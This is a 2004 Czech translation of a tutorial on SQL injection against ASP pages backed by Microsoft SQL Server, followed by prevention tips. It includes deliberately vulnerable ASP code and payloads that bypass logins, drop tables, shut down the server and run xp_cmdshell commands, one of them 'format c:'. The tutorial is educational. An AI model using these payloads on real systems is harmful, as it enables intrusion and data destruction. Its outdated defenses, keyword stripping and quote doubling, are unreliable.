Útoky - SQL injection

Zdroj: SOOM.cz [ISSN 1804-7270]
Autor: .cCuMiNn.
Datum: 3.9.2004
Hodnocení/Hlasovalo: 1.34/35

Překlad originálu "SQL Injection Attacks - Are You Safe?" od Mitchella Harpera. Sice už to není žhavá novinka, ale každý hacker by o tomto druhu útoku měl vědět :)

Z originálu " SQL Injection Attacks - Are You Safe?" od Mitchella Harpera přeložil .cCuMiNn.


Databáze je srdcem mnoha webových aplikací: ukládají se v ní data potřebná pro webové a aplikační "přežití". Obsahují uživatelské osobní údaje a citlivé finanční informace. Jsou zde skladovány data z účetnictví, platby, inventurní data apd. Díky kombinaci databáze a webového scriptovacího jazyka můžeme jako tvůrci produkovat weby které mají šťastné klienty, platí účty a více méně na nich stojí náš obchod.

Co se však stane, pokud realizuješ web, ve kterém tvá data nejsou v bezpečí? Co se stane, když bude objevena nová bezpečnostní chyba? Zřejmě aplikuješ patch nebo upgraduješ databázový server na verzi, která je již bez této chyby. Bezpečnostní díry a patche se vždy objeví pro každý databázový a programovací jazyk, ale vsadím se, že jsi nikdy neslyšel o útocích SQL injection...

V tomto dokumentu se pokusím vrhnout světlo na tento nezdokumentovaný útok. Vysvětlím co to útok SQL injection je, a jak můžeš předejít jeho výskytu uvnitř firmy. V závěru dokumentu budeš schopen identifikovat situaci kde útok SQL injection může povolit neautorizovaným uživatelům vstup do systému a naučíš se cesty k zabezpečení existujících kódů pro zabránění SQL injection útokům.

Co je to útok SQL injection

Můžeš vědět, že SQL znamená Structured Query Language. Existují v mnoha rozdílných dialectech z nichž mnoho je založeno na bázi SQL-92 ANSI standartu. SQL dotaz obsahuje jeden z mnoha SQL příkazů, jako SELECT, UPDATE nebo INSERT. Pro dotazy SELECT je typické, že obsahují klausuli na jejímž základě vrátí data. Například:

SELECT * FROM Users WHERE userName = 'Justin';

Klausule ve výše uvedeném SQL dotazu WHERE userName = 'Justin', znamená, že si přejeme vrátit pouze ty záznamy, z tabulky users, kde userName odpovídá hodnotě Justin.

Právě díky těmto typům dotazů jsou SQL jazyky tak populární a flexibilní... jsou ovšem také podstatou útoků SQL injection. Jak název napovídá, útok SQL inject nakazí nebo zmanipuluje SQL kód. Vložením neočekávaného SQL do dotazu můžeme zmanipulovat databázi mnoha různými cestami.

Jadna z mnoha populárních cest k ověření uživatele na Webu je opatřit web HTML formulářem, skrz který můžeme vložit uživatelské jméno a heslo. Předpokládejme, že máme následující jednoduchý HTML formulář:

Username: Password:

Když je formulář potvrzen, obsahy polí userName a password jsou odeslány scriptu login.asp, a jsou tomuto scriptu dostupné skrz Request.Form kolekci. Nejjednodušší cestou k ověření uživatele bude vytvoření SQL dotazu, který zkontroluje dotaz proti databázi a zjistí jestli daný uživatel existuje. Můžeme vytvořit script login.asp, který bude vypadat takto:

<%
  dim userName, password, query
  dim conn, rS

  userName = Request.Form("userName")
  password = Request.Form("password")

  set conn = server.createObject("ADODB.Connection")
  set rs = server.createObject("ADODB.Recordset")

  query = "select count(*) from users where userName='" & userName & "' and userPass='" & password & "'"

  conn.Open "Provider=SQLOLEDB; Data Source=(local); Initial Catalog=myDB; UserId=sa; Password="
  rs.activeConnection = conn
  rs.open query

  if not rs.eof then
    response.write "Logged In"
  else
    response.write "Bad Credentials"
  end if
%>

Ve výše uvedeném příkladu bude uživateli zobrazeno "Logged In" pokud bude nalezen odpovídající záznam v databázi nebo "Bad Credimentials", pokud záznam v databázi nalezen nebude. Před tím než budeme pokračovat si vytvoříme databázi myDB, které se budeme v našich příkladech dotazovat. Dále vytvoříme tabulku users s nějakým záznamem:

CREATE DATABASE myDB
go
USE myDB 
go
CREATE TABLE users (
  userId int identity(1,1) not null,
  userName varchar(50) not null,
  userPass varchar(20) not null
)

INSERT INTO users(userName, userPass) VALUES('john', 'doe')
INSERT INTO users(userName, userPass) VALUES('admin', 'wwz04ff')
INSERT INTO users(userName, userPass) VALUES('fsmith', 'mypassword')

Pokud teď vložím jméno john a heslo doe, bude mi zobrazeno "Logget In". Dotaz pro vyhledání v databázi bude vypadat takto:

SELECT count(*) FROM users WHERE userName='john' AND userPass='doe'

V tomto dotazu není nic nechráněného ani nebezpečného...nebo je? Možná na první pohled není, ale co se stane jestliže zadáme jméno john a heslo

'or 1=1 --

Výsledný dotaz pak bude vypadat takto:

SELECT count(*) FROM users WHERE userName='john' AND userPass='' or 1=1 --'

Co se stane? Dotaz nyní jednoduše vyhledá uživatele se jménem john a místo zkontrolování hesla je nyní heslo porovnáno s prázdným řetězcem nebo ověřena podmínka rovnice 1=1. Je tím tedy myšleno: jestliže je heslo prázdné nebo 1 se rovná 1, pak je odpovídající záznam v tabulce users nalezen. -- (2x minus) vkládáme abychom zbytek příkazu označili za poznámku a zabránili tím chybovému hlášení , které by vzniklo v důsledku nepárovosti uvozovek.

Dříve vytvořený script login.asp nám tedy vrátí jeden záznam a bude zobrazen text "Logged In". Můžeme také zaútočit na pole username nějak takto:

 Username: ' or 1=1 --
 Password: [Empty]

Toto zadání provede následující dotaz proti tabulce users:

SELECT count(*) FROM users WHERE userName='' OR 1=1 --' AND userPass=''

Dotaz uvedený výše nyní vrátí množství všech záznamů v tabulce users. Toto je perfektní příklad útoku SQL injection: vložení kódu ke zmanipulování dotazu vedoucí k provedení nesprávných výsledků.

Jiná populární cesta k ověření uživatele proti tabulce loginů je v porovnáví svých detailů proti tabulce a vyselectování platného username z databáze, podobně jako:

query = "SELECT userName FROM users WHERE userName='" & userName & "' AND userPass='" & password & "'"

conn.Open "Provider=SQLOLEDB; Data Source=(local); Initial Catalog=myDB; UserId=sa; Password="
rs.activeConnection = conn
rs.open query
if not rs.eof then 
  response.write "Logged In As " & rs.fields(0).value
else
  response.write "Bad Credentials"
end if 

Pokud nyní vložíme uživatelské jméno john a heslo doe bude nám zobrazeno: Logged In As john. Avšak, jestliže užijeme následující login pověření:

 Username: ' or 1=1 --
 Password: [Anything]

pak budeme taktéž přihlášeni jako john protože záznam jehož obsah je john se nachází jako první v seznamu. Naší tabulku users si doplníme o další záznamy:

INSERT INTO users(userName, userPass) VALUES('john', 'doe')
INSERT INTO users(userName, userPass) VALUES('admin', 'wwz04ff')
INSERT INTO users(userName, userPass) VALUES('fsmith', 'mypassword')

Příklady injection útoků

Protlačit login skrz HTML formulář podobně jako jsme právě viděli, je typický příklad SQL injection útoku. Trochu později se pak podíváme na cesty k nápravě těchto typů útoků.

Nejdříve se ale chci podívat na nějaké příklady SQL injection útoků, abychom je zcela pochopili. Pro začátek si ponecháme náš vzorový přihlašovací formulář obsahující pole username a password.

Příklad 1

Microsoft SQL server má dialect SQL nazývaný Translact SQL nebo TSQL pro zkrácení. Můžeme napadnout zdroj TSQL s použitím čísel abychom si ukázali jak SQL injection útoky pracují. Vezmeme následující dotaz založený na tabulce users, kterou jsme vytvořili dříve.

SELECT userName FROM users WHERE userName='' HAVING 1=1

Jestliže jsi v SQL zběhlý, pak určitě nepochybuješ o tom, že tento dotaz vyvolá nějaké chybové hlášení. Můžeme jednoduše vytvořit script login.asp dotazující se naší databáze tímto dotazem pokud použijeme tyto vstupní údaje:

 Username: ' having 1=1 --
 Password: [Anything]

Když kliknu na tlačítko submit k zahájení přihlašovacího procesu, vyhodí SQL dotaz tuto chybu na náš webový prohlížeč:

Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/login.asp, line 16 

No dobře. Zdá se, že nyní tato chybová zpráva sděluje neautorizovanému uživateli název jednoho pole z databáze. Ověření našeho loginu bylo zkoušeno proti: users.userName. Použitím jména tohoto pole můžeme užít příkaz LIKE SQL serveru k loginu s následujícím prověřením:

 Username: ' OR users.userName like 'a%' --
 Password: [Anything]

Ještě jednou provedeme vložení SQL dotazu proti naší tabulce users:

SELECT userName FROM users WHERE userName='' OR users.userName LIKE 'a%' --' AND userPass=''

Když vytvoříme tabulku users, vytvoříme si také uživatele jehož userName bude admin a userPass bude wwz04ff. Výše uvedený script nám po přihlášení s tímto jménem a heslem zobrazí tento výsedek: Logged In As admin

Příklad 2

SQL server mezi různými databázemi vymezuje dotazy použitím středníku. Užití středníku umožňuje zadávat složené dotazy k vytvoření jedné série a sekvenčnímu použití, například takto:

SELECT 1; SELECT 1+2; SELECT 1+3;

...budou nám vráceny tři záznamové sety. První obsahuje hodnotu 1, druhý hodnotu 2 a třetí hodnotu 4, atd. Takže pokud se zalogujeme s těmito údaji:

 Username: ' OR 1=1; DROP TABLE users; --
 Password: [Anything]

pak se dotaz provede ve dvou krocích. Zaprvé bude vyhledáno userName v záznamech tabulky users. Zadruhé bude tabulka users vymazána. Když se poté budeme chtít znovu přihlásit bude nám pouze zobrazeno toto chybové hlášení:

 Microsoft OLE DB Provider for SQL Server (0x80040E37) Invalid object name 'users'.
 /login.asp, line 16 

Příklad 3

Poslední příklad, spojený s naším přihlašovacím formulářem, budeme používat ke spuštění TSQL specifických příkazů. Mnoho webů užívá defaultní systémové konto (sa) uživatele, když se přihlašuje na SQL Server z ASP scriptů nebo aplikací. Čili, takovýto uživatel má přístup ke všem příkazům a může mazat, přejmenovávat a přidávat databáze, tabulky a mnoho dalšího.

Jedním z velmi silných příkazů SQL serverů je SHUTDOWN WITH NOWAIT, pomocí kterého ihned vypneme SQL server jako službu windows. Pro restartování SQL serveru po vydání tohoto příkazu musíš použít SQL service manager nebo nějaký jiný způsob restartování SQL serveru.

Tímto vstupem tedy můžeme shodit SQL server skrz naší vzorovou přihlašovací stránku:

 Username: '; shutdown with nowait; --
 Password: [Anything] 

Zadání těchto informací bude mít za následek vytvoření takovéhoto dotazu:

SELECT userName FROM users WHERE userName=''; shutdown with nowait; --' AND userPass='' 

Pokud má uživatel nastaveno defaultní (sa) konto nebo má potřebná práva, pak bude SQL server ukončen a bude potřeba ho restartovat aby byl znovu provozuschopný.

SQL server obsahuje také rozsáhlé úložiště procedur, uvnitř jsou základní speciální C++ DLL knihovny, které můžou obsahovat silné C/C++ programy k manipulaci se serverem. Čtení adresářů a registrů, mazání souborů, spouštění příkazů, apd. Všechna úložiště procedur existují pod hlavní databází a začínají na "xp_".

Pomocí několika procedur můžeme trvale poškodit systém. Můžeme toto úložiště procedur použít třeba prostřednictvím našeho přihlašovacího formuláře s vloženými příkazy u uživatelského jména například takto:

 Username: '; exec master..xp_xxx; --
 Password: [Anything] 

Všechno co musíme udělat je vybrat vhodnou vzdálenou proceduru a nahradit xp_xxx, v uvedeném příkladu, jejím názvem. Například, pokud bylo IIS nainstalováno na nějakém stroji jako SQL server, můžeme jej restartovat užitím procedury xp_cmdshell. Všechno co potřebujeme zadat do našeho formuláře tedy je:

 Username: '; exec master..xp_cmdshell 'iisreset'; --
 Password: [Anything] 

což odešle tento dotaz SQL serveru:

SELECT userName FROM users WHERE userName=''; exec master..xp_cmdshell 'iisreset'; --' AND userPass=''

Jsem si jistý, že budeš souhlasit s tím, že to může být příčinou vážných problémů a se správnými příkazy můžeš zničit celý web.

Příklad 4

Nastal čas odhlédnout od našeho scriptu login.asp a podívat se na jinou metodu provedení útoku SQL injection. Častokrát je na webu vidět URL podobné tomuto:

 www.mysite.com/products.asp?productId=2

Očividně je dvojka ID produktu a část sítí stojí na jednoduchém vytváření dotazů kolem id a proměnném dotazování, podobně jako:

SELECT prodName FROM products WHERE id = 2

Předtím, než budeme pokračovat si vytvoříme tabulku se záznamy v našem SQL serveru:

create table products (
  id int identity(1,1) not null,
  prodName varchar(50) not null,
)
insert into products(prodName) values('Pink Hoola Hoop')
insert into products(prodName) values('Green Soccer Ball')
insert into products(prodName) values('Orange Rocking Chair')

Musíme si také vytvořit ASP script s názvem products.asp:

<%
  dim prodId 
  prodId = Request.QueryString("productId")

  set conn = server.createObject("ADODB.Connection")
  set rs = server.createObject("ADODB.Recordset")

  query = "select prodName from products where id = " & prodId

  conn.Open "Provider=SQLOLEDB; Data Source=(local); Initial Catalog=myDB; UserId=sa; Password="
  rs.activeConnection = conn
  rs.open query

  if not rs.eof then
    response.write "Got product " & rs.fields("prodName").value
  else
    response.write "No product found"
  end if
%>

Pokud nyní navštívíme products.asp webovým prohlížečem s tímto URL:

 http://localhost/products.asp?productId=1

... pak nám bude ve webovém prohlížeči zobrazena tato textová řádka: Got product Pink Hoola Hoop

Poznamenávám, že product.asp vrátí pole recordsetu založeného na bázy názvů polí:

response.write "Got product " & rs.fields("prodName").value 

Ačkoliv se to může zdát bezpečné, opravdu není a stále můžeme zmanipulovat databázi stejně jako v předešlých příkladech. Také poznamenávám, že klausule WHERE je zde opět založena na numerické hodnotě:

query = "SELECT prodName FROM products WHERE id = " & prodId

Proto, aby stránka products.asp fungovala správně, je potřeba ji předat požadované id produktu v proměnném dotazovacím řetězci. Není to příliš problémové. Zvážíme-li však následující URL na products.asp:

 http://localhost/products.asp?productId=0%20or%201=1

Kde každý %20 v této URL představuje zakódovaný znak mezery, takže URL ve skutečnosti vypadá takto:

 http://localhost/products.asp?productId=0 or 1=1

Pokud použiješ toto kombinaci dotazu v products.asp dotaz bude vypadat takto:

SELECT prodName FROM products WHERE id = 0 OR 1=1

Užitím několika našich znalostí a URL kódování můžeme nyní lehce získat jméno pole produktů z tabulky products:

 http://localhost/products.asp?productId=0%20having%201=1

Zadání tohoto URL bude mít za následek výstup takovéhoto chybového hlášení:

 Microsoft OLE DB Provider for SQL Server (0x80040E14)
 Column 'products.prodName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
 /products.asp, line 13

Teď tedy známe název pole produktů (products.prodName) a vyvoláme si následující URL:

 http://localhost/products.asp?productId=0;insert%20into%20products(prodName)%20values(left(@@version,50))

Zde je uveden tento dotaz bez zástupných znaků:

 http://localhost/products.asp?productId=0;insert into products(prodName) values(left(@@version,50))

Prvně je nám vráceno "No product found", avšak také je spuštěno INSERT na tabulku products, které bude mít za následek přidání nového záznamu s prvními 50-ti znaky verze SQL serveru (proměnná @@version obsahuje detaily o verzi SQL serveru)

K získání této verze teď jednoduše vyvoláme stránku products.asp s hodnotou posledního vstupu takto:

 http://localhost/products.asp?productId=(select%20max(id)%20from%20products)

Tento dotaz si nejprve získá ID naposled vloženého záznamu do tabulky products použitím funkce SQL serveru MAX a zobrazí nám detaily tohoto ID, čili verzi SQL servru, kterou jsme do tabulky vložili:

 Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86)

Tato metoda SQL injection útoku může být použita k provedení číselných úkolů a v jednom z bodů tohoto dokumentu dám tip jak předejít tomuto SQL injection útoku.

Prevence před SQL injection útoky

Jestliže navrhneš své scripty a aplikace pozorně, můžeš se SQL injection útokům často vyhnout. Nyní uvedu pár bodů, ve kterých ukážu, jak můžeme redukovat místa choulostivá na útok v našich sítích.

Omezení uživatelského přístupu

Defaultní systémové konto (sa) pro SQL server 2000 bys neměl nikdy používat. Měl bys vždy nastavit specifická konta pro specifické účely. Například, pokud tvá databáze běží tak, že dovoluje uživatelům sítě zobrazovat a třídit produkty, pak bys měl nastavit uživatelské volání webUser_public. Nastavíš tak práva SELECT s tabulkou products a práva INSERT jen v tříděné tabulce.

Pokud nepoužíváš procedury nebo uživatelské funkce z rozsáhlého úložiště procedur, měl bys je odstranit nebo přesunout na izolovaný server. Extrémně nebezpečné procedury, jako jsou xp_cmdshell a xp_grantlogin také odstraň, čímž zablokuješ útok ještě dříve než k němu dojde.

Escape sekvence

Jak můžeme vidět v uvedených příkladech, požaduje většina injection útoků zadání jednoduché uvozovky k ukončení výrazu. Použitím jednoduché nahrazovací funkce a konverzí vstupu všech jednoduchých uvozovek na dvě jednoduché uvozovky velmi zredukujeme šanci na zdařené provedení SQL injection útoků. Pomocí ASP vytvoříme velice jednoduše základní nahrazovací funkci, která bude tuto záměnu provádět automaticky:

<%
  function stripQuotes(strWords)
    stripQuotes = replace(strWords, "'", "''")
  end function
%>

Pokud nyní použijeme funkci stripQuotes v kombinaci s naším prvním dotazem pak se například z dotazu:

SELECT count(*) FROM users WHERE userName='john' AND userPass='' OR 1=1 --' 

... stane toto:

SELECT count(*) FROM users WHERE userName='john'' AND userPass=''' OR 1=1 --' 

Následkem této záměny dojde k zastavení injection útoku, protože klausule pro dotaz WHERE nyní požaduje pro ověření pole userName i userPass.

Vyjmutí nebezpečných znaků nebo sekvencí

Jak v tomto dokumentu vidíme, jsou určité znaky nebo znakové sekvence, jako ; , -- , select , insert , xp_ , používány k provedení SQL injection útoků. Jejich odstraněním z uživatelova vstupu před vytvořením dotazu značně zredukujeme možnost provedení takovýchto útoků.

Společně s jednoduchým řešením na záměnu uvozovek potřebujeme ještě základní funkci k náhradě všech těchto znaků:

<%
  function killChars(strWords)
    dim badChars
    dim newChars
    
    badChars = array("select", "drop", ";", "--", "insert", "delete", "xp_")
    newChars = strWords

    for i = 0 to uBound(badChars)
      newChars = replace(newChars, badChars(i), "")
    next

    killChars = newChars

  end function
%>

Použitím funkce stripQuotes v kombinaci s funkcí killChars velice zúžíme šance ke zdařilému SQL inject útoku. Pokud tedy máme tento dotaz:

SELECT prodName FROM products WHERE id=1; xp_cmdshell 'format c: /q /yes '; DROP DATABASE myDB; --

A protlačíme ho přes funkci stripQuotes a poté skrz funkci killChar získáme nakonec:

 prodName from products where id=1 cmdshell ''format c: /q /yes '' database myDB

Obsah je od základu nepoužitelný a nebude nám vrácen žádný záznam.

Omezení délky uživatelského vstupu

Není dobré mít na formuláři textové pole akceptující 50 znaků, když pole v tabulce může obsahovat znaků pouze 10. Pokud omezíš velikost textových polí na formuláři jen na nutně potřebnou velikost, můžeš tím zamezit vložení škodlivých údajů k provedení útoku.

Pokud přijímáš číselné hodnoty pro product ID nebo podobné číselné hodnoty, používej vždy funkci pro zkontrolování tohoto vstupu, zda je hodnota číselná. Takováto funkce pro ASP je například IsNumeric(). Pokud hodnota není číselná pak odkaž uživatele na jinou stránku, ze které si může daný produkt vybrat.

Také vždy odesílej data z tvého formuláře metodou POST, čímž zabráníš dopsání škodlivých dat do URL.

Závěr

V tomto dokumentu jsme viděli co to útok SQL inject je a také jak napadnout URL k provedení útoku. Není bohužel vždy možné ohlídat všechny typy těchto útoků, ale doufejme, že nyní víš jaké typy SQL injection útoků existují a víš i jak se proti nim bránit.

Ačkoliv jsem v tomto článku nahlédnul jen na Microsoft SQL server, víme již, že databáze nejsou tak bezpečné jak by se mohlo zdát. Útoky SQL injection mohou napadnout také MySQL a Oracle databazové servey - a všechny ostatní.